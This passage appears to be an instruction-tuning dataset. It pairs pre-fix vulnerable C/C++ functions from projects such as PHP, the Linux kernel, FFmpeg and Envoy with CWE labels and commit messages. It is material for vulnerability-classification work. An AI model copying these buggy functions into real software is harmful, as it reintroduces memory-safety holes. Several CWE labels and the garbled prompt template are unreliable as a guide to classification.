PHAR_ZIP_FAIL_FREE(save, save); } else { php_stream_close(sigfile); PHAR_ZIP_FAIL("signature cannot be verified"); } } php_stream_close(sigfile); efree(sig); /* signature checked out, let's ensure this is the last file in the phar */ if (i != PHAR_GET_16(locator.count) - 1) { PHAR_ZIP_FAIL("entries exist after signature, invalid phar"); } continue; } phar_add_virtual_dirs(mydata, entry.filename, entry.filename_len); if (PHAR_GET_16(zipentry.extra_len)) { zend_off_t loc = php_stream_tell(fp); if (FAILURE == phar_zip_process_extra(fp, &entry, PHAR_GET_16(zipentry.extra_len))) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("Unable to process extra field header for file in central directory"); } php_stream_seek(fp, loc + PHAR_GET_16(zipentry.extra_len), SEEK_SET); } switch (PHAR_GET_16(zipentry.compressed)) { case PHAR_ZIP_COMP_NONE : /* compression flag already set */ break; case PHAR_ZIP_COMP_DEFLATE : entry.flags |= PHAR_ENT_COMPRESSED_GZ; if (!PHAR_G(has_zlib)) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("zlib extension is required"); } break; case PHAR_ZIP_COMP_BZIP2 : entry.flags |= PHAR_ENT_COMPRESSED_BZ2; if (!PHAR_G(has_bz2)) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("bzip2 extension is required"); } break; case 1 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (Shrunk) used in this zip"); case 2 : case 3 : case 4 : case 5 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (Reduce) used in this zip"); case 6 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (Implode) used in this zip"); case 7 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (Tokenize) used in this zip"); case 9 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (Deflate64) used in this zip"); case 10 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (PKWare Implode/old IBM TERSE) used in this zip"); case 14 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (LZMA) used in this zip"); case 18 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (IBM TERSE) used in this zip"); case 19 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (IBM LZ77) used in this zip"); case 97 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (WavPack) used in this zip"); case 98 : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (PPMd) used in this zip"); default : pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unsupported compression method (unknown) used in this zip"); } /* get file metadata */ if (PHAR_GET_16(zipentry.comment_len)) { if (PHAR_GET_16(zipentry.comment_len) != php_stream_read(fp, buf, PHAR_GET_16(zipentry.comment_len))) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unable to read in file comment, truncated"); } p = buf; entry.metadata_len = PHAR_GET_16(zipentry.comment_len); if (phar_parse_metadata(&p, &(entry.metadata), PHAR_GET_16(zipentry.comment_len)) == FAILURE) { entry.metadata_len = 0; /* if not valid serialized data, it is a regular string */ ZVAL_NEW_STR(&entry.metadata, zend_string_init(buf, PHAR_GET_16(zipentry.comment_len), entry.is_persistent)); } } else { ZVAL_UNDEF(&entry.metadata); } if (!actual_alias && entry.filename_len == sizeof(".phar/alias.txt")-1 && !strncmp(entry.filename, ".phar/alias.txt", sizeof(".phar/alias.txt")-1)) { php_stream_filter *filter; zend_off_t saveloc; /* verify local file header */ phar_zip_file_header local; /* archive alias found */ saveloc = php_stream_tell(fp); php_stream_seek(fp, PHAR_GET_32(zipentry.offset), SEEK_SET); if (sizeof(local) != php_stream_read(fp, (char *) &local, sizeof(local))) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("phar error: internal corruption of zip-based phar (cannot read local file header for alias)"); } /* verify local header */ if (entry.filename_len != PHAR_GET_16(local.filename_len) || entry.crc32 != PHAR_GET_32(local.crc32) || entry.uncompressed_filesize != PHAR_GET_32(local.uncompsize) || entry.compressed_filesize != PHAR_GET_32(local.compsize)) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("phar error: internal corruption of zip-based phar (local header of alias does not match central directory)"); } /* construct actual offset to file start - local extra_len can be different from central extra_len */ entry.offset = entry.offset_abs = sizeof(local) + entry.header_offset + PHAR_GET_16(local.filename_len) + PHAR_GET_16(local.extra_len); php_stream_seek(fp, entry.offset, SEEK_SET); /* these next lines should be for php < 5.2.6 after 5.3 filters are fixed */ fp->writepos = 0; fp->readpos = 0; php_stream_seek(fp, entry.offset, SEEK_SET); fp->writepos = 0; fp->readpos = 0; /* the above lines should be for php < 5.2.6 after 5.3 filters are fixed */ mydata->alias_len = entry.uncompressed_filesize; if (entry.flags & PHAR_ENT_COMPRESSED_GZ) { filter = php_stream_filter_create("zlib.inflate", NULL, php_stream_is_persistent(fp)); if (!filter) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unable to decompress alias, zlib filter creation failed"); } php_stream_filter_append(&fp->readfilters, filter); // TODO: refactor to avoid reallocation ??? //??? entry.uncompressed_filesize = php_stream_copy_to_mem(fp, &actual_alias, entry.uncompressed_filesize, 0) { zend_string *str = php_stream_copy_to_mem(fp, entry.uncompressed_filesize, 0); if (str) { entry.uncompressed_filesize = ZSTR_LEN(str); actual_alias = estrndup(ZSTR_VAL(str), ZSTR_LEN(str)); zend_string_release(str); } else { actual_alias = NULL; entry.uncompressed_filesize = 0; } } if (!entry.uncompressed_filesize || !actual_alias) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unable to read in alias, truncated"); } php_stream_filter_flush(filter, 1); php_stream_filter_remove(filter, 1); } else if (entry.flags & PHAR_ENT_COMPRESSED_BZ2) { filter = php_stream_filter_create("bzip2.decompress", NULL, php_stream_is_persistent(fp)); if (!filter) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unable to read in alias, bzip2 filter creation failed"); } php_stream_filter_append(&fp->readfilters, filter); // TODO: refactor to avoid reallocation ??? //??? entry.uncompressed_filesize = php_stream_copy_to_mem(fp, &actual_alias, entry.uncompressed_filesize, 0) { zend_string *str = php_stream_copy_to_mem(fp, entry.uncompressed_filesize, 0); if (str) { entry.uncompressed_filesize = ZSTR_LEN(str); actual_alias = estrndup(ZSTR_VAL(str), ZSTR_LEN(str)); zend_string_release(str); } else { actual_alias = NULL; entry.uncompressed_filesize = 0; } } if (!entry.uncompressed_filesize || !actual_alias) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unable to read in alias, truncated"); } php_stream_filter_flush(filter, 1); php_stream_filter_remove(filter, 1); } else { // TODO: refactor to avoid reallocation ??? //??? entry.uncompressed_filesize = php_stream_copy_to_mem(fp, &actual_alias, entry.uncompressed_filesize, 0) { zend_string *str = php_stream_copy_to_mem(fp, entry.uncompressed_filesize, 0); if (str) { entry.uncompressed_filesize = ZSTR_LEN(str); actual_alias = estrndup(ZSTR_VAL(str), ZSTR_LEN(str)); zend_string_release(str); } else { actual_alias = NULL; entry.uncompressed_filesize = 0; } } if (!entry.uncompressed_filesize || !actual_alias) { pefree(entry.filename, entry.is_persistent); PHAR_ZIP_FAIL("unable to read in alias, truncated"); } } /* return to central directory parsing */ php_stream_seek(fp, saveloc, SEEK_SET); } phar_set_inode(&entry); zend_hash_str_add_mem(&mydata->manifest, entry.filename, entry.filename_len, (void *)&entry, sizeof(phar_entry_info)); } mydata->fp = fp; if (zend_hash_str_exists(&(mydata->manifest), ".phar/stub.php", sizeof(".phar/stub.php")-1)) { mydata->is_data = 0; } else { mydata->is_data = 1; } zend_hash_str_add_ptr(&(PHAR_G(phar_fname_map)), mydata->fname, fname_len, mydata); if (actual_alias) { phar_archive_data *fd_ptr; if (!phar_validate_alias(actual_alias, mydata->alias_len)) { if (error) { spprintf(error, 4096, "phar error: invalid alias \"%s\" in zip-based phar \"%s\"", actual_alias, fname); } efree(actual_alias); zend_hash_str_del(&(PHAR_G(phar_fname_map)), mydata->fname, fname_len); return FAILURE; } mydata->is_temporary_alias = 0; if (NULL != (fd_ptr = zend_hash_str_find_ptr(&(PHAR_G(phar_alias_map)), actual_alias, mydata->alias_len))) { if (SUCCESS != phar_free_alias(fd_ptr, actual_alias, mydata->alias_len)) { if (error) { spprintf(error, 4096, "phar error: Unable to add zip-based phar \"%s\" with implicit alias, alias is already in use", fname); } efree(actual_alias); zend_hash_str_del(&(PHAR_G(phar_fname_map)), mydata->fname, fname_len); return FAILURE; } } mydata->alias = entry.is_persistent ? pestrndup(actual_alias, mydata->alias_len, 1) : actual_alias; if (entry.is_persistent) { efree(actual_alias); } zend_hash_str_add_ptr(&(PHAR_G(phar_alias_map)), actual_alias, mydata->alias_len, mydata); } else { phar_archive_data *fd_ptr; if (alias_len) { if (NULL != (fd_ptr = zend_hash_str_find_ptr(&(PHAR_G(phar_alias_map)), alias, alias_len))) { if (SUCCESS != phar_free_alias(fd_ptr, alias, alias_len)) { if (error) { spprintf(error, 4096, "phar error: Unable to add zip-based phar \"%s\" with explicit alias, alias is already in use", fname); } zend_hash_str_del(&(PHAR_G(phar_fname_map)), mydata->fname, fname_len); return FAILURE; } } zend_hash_str_add_ptr(&(PHAR_G(phar_alias_map)), actual_alias, mydata->alias_len, mydata); mydata->alias = pestrndup(alias, alias_len, mydata->is_persistent); mydata->alias_len = alias_len; } else { mydata->alias = pestrndup(mydata->fname, fname_len, mydata->is_persistent); mydata->alias_len = fname_len; } mydata->is_temporary_alias = 1; } if (pphar) { *pphar = mydata; } return SUCCESS; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'Fix bug #72928 - Out of bound when verify signature of zip phar in phar_parse_zipfile (cherry picked from commit 19484ab77466f99c78fc0e677f7e03da0584d6a2)'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: win_alloc_lines(win_T *wp) { wp->w_lines_valid = 0; wp->w_lines = ALLOC_CLEAR_MULT(wline_T, Rows ); if (wp->w_lines == NULL) return FAIL; return OK; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-703', 'CWE-125'], 'message': 'patch 8.2.4154: ml_get error when exchanging windows in Visual mode Problem: ml_get error when exchanging windows in Visual mode. Solution: Correct end of Visual area when entering another buffer.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: rdpBitmapCache* bitmap_cache_new(rdpSettings* settings) { int i; rdpBitmapCache* bitmapCache; bitmapCache = (rdpBitmapCache*)calloc(1, sizeof(rdpBitmapCache)); if (!bitmapCache) return NULL; bitmapCache->settings = settings; bitmapCache->update = ((freerdp*)settings->instance)->update; bitmapCache->context = bitmapCache->update->context; bitmapCache->maxCells = settings->BitmapCacheV2NumCells; bitmapCache->cells = (BITMAP_V2_CELL*)calloc(bitmapCache->maxCells, sizeof(BITMAP_V2_CELL)); if (!bitmapCache->cells) goto fail; for (i = 0; i < (int)bitmapCache->maxCells; i++) { bitmapCache->cells[i].number = settings->BitmapCacheV2CellInfo[i].numEntries; /* allocate an extra entry for BITMAP_CACHE_WAITING_LIST_INDEX */ bitmapCache->cells[i].entries = (rdpBitmap**)calloc((bitmapCache->cells[i].number + 1), sizeof(rdpBitmap*)); if (!bitmapCache->cells[i].entries) goto fail; } return bitmapCache; fail: if (bitmapCache->cells) { for (i = 0; i < (int)bitmapCache->maxCells; i++) free(bitmapCache->cells[i].entries); } free(bitmapCache); return NULL; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-125'], 'message': 'Fixed possible NULL dereference'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: build_config(char *prefix, struct server *server) { char *path = NULL; int path_size = strlen(prefix) + strlen(server->port) + 20; path = ss_malloc(path_size); snprintf(path, path_size, "%s/.shadowsocks_%s.conf", prefix, server->port); FILE *f = fopen(path, "w+"); if (f == NULL) { if (verbose) { LOGE("unable to open config file"); } ss_free(path); return; } fprintf(f, "{\n"); fprintf(f, "\"server_port\":%d,\n", atoi(server->port)); fprintf(f, "\"password\":\"%s\"", server->password); if (server->fast_open[0]) fprintf(f, ",\n\"fast_open\": %s", server->fast_open); if (server->mode) fprintf(f, ",\n\"mode\":\"%s\"", server->mode); if (server->method) fprintf(f, ",\n\"method\":\"%s\"", server->method); if (server->plugin) fprintf(f, ",\n\"plugin\":\"%s\"", server->plugin); if (server->plugin_opts) fprintf(f, ",\n\"plugin_opts\":\"%s\"", server->plugin_opts); fprintf(f, "\n}\n"); fclose(f); ss_free(path); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-78', 'CWE-787'], 'message': 'Fix #1734'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int __mincore_unmapped_range(unsigned long addr, unsigned long end, struct vm_area_struct *vma, unsigned char *vec) { unsigned long nr = (end - addr) >> PAGE_SHIFT; int i; if (vma->vm_file) { pgoff_t pgoff; pgoff = linear_page_index(vma, addr); for (i = 0; i < nr; i++, pgoff++) vec[i] = mincore_page(vma->vm_file->f_mapping, pgoff); } else { for (i = 0; i < nr; i++) vec[i] = 0; } return nr; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-200', 'CWE-319'], 'message': 'Change mincore() to count "mapped" pages rather than "cached" pages The semantics of what "in core" means for the mincore() system call are somewhat unclear, but Linux has always (since 2.3.52, which is when mincore() was initially done) treated it as "page is available in page cache" rather than "page is mapped in the mapping". The problem with that traditional semantic is that it exposes a lot of system cache state that it really probably shouldn't, and that users shouldn't really even care about. So let's try to avoid that information leak by simply changing the semantics to be that mincore() counts actual mapped pages, not pages that might be cheaply mapped if they were faulted (note the "might be" part of the old semantics: being in the cache doesn't actually guarantee that you can access them without IO anyway, since things like network filesystems may have to revalidate the cache before use). In many ways the old semantics were somewhat insane even aside from the information leak issue. From the very beginning (and that beginning is a long time ago: 2.3.52 was released in March 2000, I think), the code had a comment saying Later we can get more picky about what "in core" means precisely. and this is that "later". Admittedly it is much later than is really comfortable. NOTE! This is a real semantic change, and it is for example known to change the output of "fincore", since that program literally does a mmmap without populating it, and then doing "mincore()" on that mapping that doesn't actually have any pages in it. I'm hoping that nobody actually has any workflow that cares, and the info leak is real. We may have to do something different if it turns out that people have valid reasons to want the old semantics, and if we can limit the information leak sanely. Cc: Kevin Easton <kevin@guarana.org> Cc: Jiri Kosina <jikos@kernel.org> Cc: Masatake YAMATO <yamato@redhat.com> Cc: Andrew Morton <akpm@linux-foundation.org> Cc: Greg KH <gregkh@linuxfoundation.org> Cc: Peter Zijlstra <peterz@infradead.org> Cc: Michal Hocko <mhocko@suse.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: bool Filter::convertRequestHeadersForInternalRedirect(Http::RequestHeaderMap& downstream_headers, const Http::HeaderEntry& internal_redirect, uint64_t status_code) { if (!downstream_headers.Path()) { ENVOY_STREAM_LOG(trace, "no path in downstream_headers", *callbacks_); return false; } // Make sure the redirect response contains a URL to redirect to. if (internal_redirect.value().getStringView().empty()) { config_.stats_.passthrough_internal_redirect_bad_location_.inc(); return false; } Http::Utility::Url absolute_url; if (!absolute_url.initialize(internal_redirect.value().getStringView(), false)) { config_.stats_.passthrough_internal_redirect_bad_location_.inc(); return false; } const auto& policy = route_entry_->internalRedirectPolicy(); // Don't change the scheme from the original request const bool scheme_is_http = schemeIsHttp(downstream_headers, *callbacks_->connection()); const bool target_is_http = absolute_url.scheme() == Http::Headers::get().SchemeValues.Http; if (!policy.isCrossSchemeRedirectAllowed() && scheme_is_http != target_is_http) { config_.stats_.passthrough_internal_redirect_unsafe_scheme_.inc(); return false; } const StreamInfo::FilterStateSharedPtr& filter_state = callbacks_->streamInfo().filterState(); // Make sure that performing the redirect won't result in exceeding the configured number of // redirects allowed for this route. if (!filter_state->hasData<StreamInfo::UInt32Accessor>(NumInternalRedirectsFilterStateName)) { filter_state->setData( NumInternalRedirectsFilterStateName, std::make_shared<StreamInfo::UInt32AccessorImpl>(0), StreamInfo::FilterState::StateType::Mutable, StreamInfo::FilterState::LifeSpan::Request); } StreamInfo::UInt32Accessor& num_internal_redirect = filter_state->getDataMutable<StreamInfo::UInt32Accessor>(NumInternalRedirectsFilterStateName); if (num_internal_redirect.value() >= policy.maxInternalRedirects()) { config_.stats_.passthrough_internal_redirect_too_many_redirects_.inc(); return false; } // Copy the old values, so they can be restored if the redirect fails. const std::string original_host(downstream_headers.getHostValue()); const std::string original_path(downstream_headers.getPathValue()); const bool scheme_is_set = (downstream_headers.Scheme() != nullptr); Cleanup restore_original_headers( [&downstream_headers, original_host, original_path, scheme_is_set, scheme_is_http]() { downstream_headers.setHost(original_host); downstream_headers.setPath(original_path); if (scheme_is_set) { downstream_headers.setScheme(scheme_is_http ? Http::Headers::get().SchemeValues.Http : Http::Headers::get().SchemeValues.Https); } }); // Replace the original host, scheme and path. downstream_headers.setScheme(absolute_url.scheme()); downstream_headers.setHost(absolute_url.hostAndPort()); auto path_and_query = absolute_url.pathAndQueryParams(); if (Runtime::runtimeFeatureEnabled("envoy.reloadable_features.http_reject_path_with_fragment")) { // Envoy treats internal redirect as a new request and will reject it if URI path // contains #fragment. However the Location header is allowed to have #fragment in URI path. To // prevent Envoy from rejecting internal redirect, strip the #fragment from Location URI if it // is present. auto fragment_pos = path_and_query.find('#'); path_and_query = path_and_query.substr(0, fragment_pos); } downstream_headers.setPath(path_and_query); callbacks_->clearRouteCache(); const auto route = callbacks_->route(); // Don't allow a redirect to a non existing route. if (!route) { config_.stats_.passthrough_internal_redirect_no_route_.inc(); return false; } const auto& route_name = route->routeEntry()->routeName(); for (const auto& predicate : policy.predicates()) { if (!predicate->acceptTargetRoute(*filter_state, route_name, !scheme_is_http, !target_is_http)) { config_.stats_.passthrough_internal_redirect_predicate_.inc(); ENVOY_STREAM_LOG(trace, "rejecting redirect targeting {}, by {} predicate", *callbacks_, route_name, predicate->name()); return false; } } // See https://tools.ietf.org/html/rfc7231#section-6.4.4. if (status_code == enumToInt(Http::Code::SeeOther) && downstream_headers.getMethodValue() != Http::Headers::get().MethodValues.Get && downstream_headers.getMethodValue() != Http::Headers::get().MethodValues.Head) { downstream_headers.setMethod(Http::Headers::get().MethodValues.Get); downstream_headers.remove(Http::Headers::get().ContentLength); callbacks_->modifyDecodingBuffer([](Buffer::Instance& data) { data.drain(data.length()); }); } num_internal_redirect.increment(); restore_original_headers.cancel(); // Preserve the original request URL for the second pass. downstream_headers.setEnvoyOriginalUrl(absl::StrCat(scheme_is_http ? Http::Headers::get().SchemeValues.Http : Http::Headers::get().SchemeValues.Https, "://", original_host, original_path)); return true; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-703'], 'message': '[1.20] CVE-2022-21655 Crash with direct_response Signed-off-by: Otto van der Schaaf <ovanders@redhat.com>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void DoRealBackwardFFT(OpKernelContext* ctx, uint64* fft_shape, const Tensor& in, Tensor* out) { auto device = ctx->eigen_device<CPUDevice>(); // Reconstruct the full FFT and take the inverse. auto input = Tensor(in).flat_inner_dims<ComplexT, FFTRank + 1>(); auto output = out->flat_inner_dims<RealT, FFTRank + 1>(); const auto input_dims = input.dimensions(); // Calculate the shape of the temporary tensor for the full FFT and the // region we will slice from input given fft_shape. We slice input to // fft_shape on its inner-most dimensions, except the last (which we // slice to fft_shape[-1] / 2 + 1). Eigen::DSizes<Eigen::DenseIndex, FFTRank + 1> input_slice_sizes; input_slice_sizes[0] = input_dims[0]; TensorShape full_fft_shape; full_fft_shape.AddDim(input_dims[0]); for (auto i = 1; i <= FFTRank; i++) { input_slice_sizes[i] = i == FFTRank ? fft_shape[i - 1] / 2 + 1 : fft_shape[i - 1]; full_fft_shape.AddDim(fft_shape[i - 1]); } Tensor temp; OP_REQUIRES_OK(ctx, ctx->allocate_temp(DataTypeToEnum<ComplexT>::v(), full_fft_shape, &temp)); auto full_fft = temp.flat_inner_dims<ComplexT, FFTRank + 1>(); // Calculate the starting point and range of the source of // negative frequency part. auto neg_sizes = input_slice_sizes; neg_sizes[FFTRank] = fft_shape[FFTRank - 1] - input_slice_sizes[FFTRank]; Eigen::DSizes<Eigen::DenseIndex, FFTRank + 1> neg_target_indices; neg_target_indices[FFTRank] = input_slice_sizes[FFTRank]; const Eigen::DSizes<Eigen::DenseIndex, FFTRank + 1> start_indices; Eigen::DSizes<Eigen::DenseIndex, FFTRank + 1> neg_start_indices; neg_start_indices[FFTRank] = 1; full_fft.slice(start_indices, input_slice_sizes).device(device) = input.slice(start_indices, input_slice_sizes); // First, conduct IFFTs on outer dimensions. We save computation (and // avoid touching uninitialized memory) by slicing full_fft to the // subregion we wrote input to. if (FFTRank > 1) { const auto outer_axes = Eigen::ArrayXi::LinSpaced(FFTRank - 1, 1, FFTRank - 1); full_fft.slice(start_indices, input_slice_sizes).device(device) = full_fft.slice(start_indices, input_slice_sizes) .template fft<Eigen::BothParts, Eigen::FFT_REVERSE>(outer_axes); } // Reconstruct the full FFT by appending reversed and conjugated // spectrum as the negative frequency part. Eigen::array<bool, FFTRank + 1> reverse_last_axis; for (auto i = 0; i <= FFTRank; i++) { reverse_last_axis[i] = i == FFTRank; } if (neg_sizes[FFTRank] != 0) { full_fft.slice(neg_target_indices, neg_sizes).device(device) = full_fft.slice(neg_start_indices, neg_sizes) .reverse(reverse_last_axis) .conjugate(); } auto inner_axis = Eigen::array<int, 1>{FFTRank}; output.device(device) = full_fft.template fft<Eigen::RealPart, Eigen::FFT_REVERSE>(inner_axis); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-617', 'CWE-369'], 'message': 'Fix a check fail in Fast Fourier implementation PiperOrigin-RevId: 372026629 Change-Id: Id05c3362aa575271bc3e06b16316c9037085fc11'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: uipbuf_get_next_header(uint8_t *buffer, uint16_t size, uint8_t *protocol, bool start) { int curr_hdr_len = 0; int next_hdr_len = 0; uint8_t *next_header = NULL; struct uip_ip_hdr *ipbuf = NULL; struct uip_ext_hdr *curr_ext = NULL; struct uip_ext_hdr *next_ext = NULL; if(start) { /* protocol in the IP buffer */ ipbuf = (struct uip_ip_hdr *)buffer; *protocol = ipbuf->proto; curr_hdr_len = UIP_IPH_LEN; } else { /* protocol in the Ext hdr */ curr_ext = (struct uip_ext_hdr *)buffer; *protocol = curr_ext->next; /* This is just an ext header */ curr_hdr_len = (curr_ext->len << 3) + 8; } /* Check first if enough space for current header */ if(curr_hdr_len > size) { return NULL; } next_header = buffer + curr_hdr_len; /* Check if the buffer is large enough for the next header */ if(uip_is_proto_ext_hdr(*protocol)) { next_ext = (struct uip_ext_hdr *)next_header; next_hdr_len = (next_ext->len << 3) + 8; } else { if(*protocol == UIP_PROTO_TCP) { next_hdr_len = UIP_TCPH_LEN; } else if(*protocol == UIP_PROTO_UDP) { next_hdr_len = UIP_UDPH_LEN; } else if(*protocol == UIP_PROTO_ICMP6) { next_hdr_len = UIP_ICMPH_LEN; } } /* Size must be enough to hold both the current and next header */ if(next_hdr_len == 0 || curr_hdr_len + next_hdr_len > size) { return NULL; } return next_header; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-787'], 'message': 'Prevent a possible read out of bounds in the processing of IPv6 extension headers.'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: static int decode_studio_vop_header(Mpeg4DecContext *ctx, GetBitContext *gb) { MpegEncContext *s = &ctx->m; if (get_bits_left(gb) <= 32) return 0; s->partitioned_frame = 0; s->decode_mb = mpeg4_decode_studio_mb; decode_smpte_tc(ctx, gb); skip_bits(gb, 10); /* temporal_reference */ skip_bits(gb, 2); /* vop_structure */ s->pict_type = get_bits(gb, 2) + AV_PICTURE_TYPE_I; /* vop_coding_type */ if (get_bits1(gb)) { /* vop_coded */ skip_bits1(gb); /* top_field_first */ skip_bits1(gb); /* repeat_first_field */ s->progressive_frame = get_bits1(gb) ^ 1; /* progressive_frame */ } if (s->pict_type == AV_PICTURE_TYPE_I) { if (get_bits1(gb)) reset_studio_dc_predictors(s); } if (ctx->shape != BIN_ONLY_SHAPE) { s->alternate_scan = get_bits1(gb); s->frame_pred_frame_dct = get_bits1(gb); s->dct_precision = get_bits(gb, 2); s->intra_dc_precision = get_bits(gb, 2); s->q_scale_type = get_bits1(gb); } if (s->alternate_scan) { ff_init_scantable(s->idsp.idct_permutation, &s->inter_scantable, ff_alternate_vertical_scan); ff_init_scantable(s->idsp.idct_permutation, &s->intra_scantable, ff_alternate_vertical_scan); ff_init_scantable(s->idsp.idct_permutation, &s->intra_h_scantable, ff_alternate_vertical_scan); ff_init_scantable(s->idsp.idct_permutation, &s->intra_v_scantable, ff_alternate_vertical_scan); } else { ff_init_scantable(s->idsp.idct_permutation, &s->inter_scantable, ff_zigzag_direct); ff_init_scantable(s->idsp.idct_permutation, &s->intra_scantable, ff_zigzag_direct); ff_init_scantable(s->idsp.idct_permutation, &s->intra_h_scantable, ff_alternate_horizontal_scan); ff_init_scantable(s->idsp.idct_permutation, &s->intra_v_scantable, ff_alternate_vertical_scan); } mpeg4_load_default_matrices(s); next_start_code_studio(gb); extension_and_user_data(s, gb, 4); return 0; } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-125'], 'message': 'avcodec/mpeg4videodec: Clear interlaced_dct for studio profile Fixes: Out of array access Fixes: 13090/clusterfuzz-testcase-minimized-ffmpeg_AV_CODEC_ID_MPEG4_fuzzer-5408668986638336 Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/projects/ffmpeg Reviewed-by: Kieran Kunhya <kierank@obe.tv> Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>'</s>
<s>[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array. Code: void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) { struct oz_usb_hdr *usb_hdr = (struct oz_usb_hdr *)(elt + 1); struct oz_usb_ctx *usb_ctx; spin_lock_bh(&pd->app_lock[OZ_APPID_USB]); usb_ctx = (struct oz_usb_ctx *)pd->app_ctx[OZ_APPID_USB]; if (usb_ctx) oz_usb_get(usb_ctx); spin_unlock_bh(&pd->app_lock[OZ_APPID_USB]); if (usb_ctx == NULL) return; /* Context has gone so nothing to do. */ if (usb_ctx->stopped) goto done; /* If sequence number is non-zero then check it is not a duplicate. * Zero sequence numbers are always accepted. */ if (usb_hdr->elt_seq_num != 0) { if (((usb_ctx->rx_seq_num - usb_hdr->elt_seq_num) & 0x80) == 0) /* Reject duplicate element. */ goto done; } usb_ctx->rx_seq_num = usb_hdr->elt_seq_num; switch (usb_hdr->type) { case OZ_GET_DESC_RSP: { struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; int data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1; u16 offs = le16_to_cpu(get_unaligned(&body->offset)); u16 total_size = le16_to_cpu(get_unaligned(&body->total_size)); oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n"); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, body->rcode, body->data, data_len, offs, total_size); } break; case OZ_SET_CONFIG_RSP: { struct oz_set_config_rsp *body = (struct oz_set_config_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, NULL, 0); } break; case OZ_SET_INTERFACE_RSP: { struct oz_set_interface_rsp *body = (struct oz_set_interface_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, NULL, 0); } break; case OZ_VENDOR_CLASS_RSP: { struct oz_vendor_class_rsp *body = (struct oz_vendor_class_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, body->data, elt->length- sizeof(struct oz_vendor_class_rsp)+1); } break; case OZ_USB_ENDPOINT_DATA: oz_usb_handle_ep_data(usb_ctx, usb_hdr, elt->length); break; } done: oz_usb_put(usb_ctx); } ; Sample JSON Format Confermily Expected output: "examples" => "cwe": "xxx"; "message": "xxx" [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'ozwpan: Use proper check to prevent heap overflow Since elt->length is a u8, we can make this variable a u8. Then we can do proper 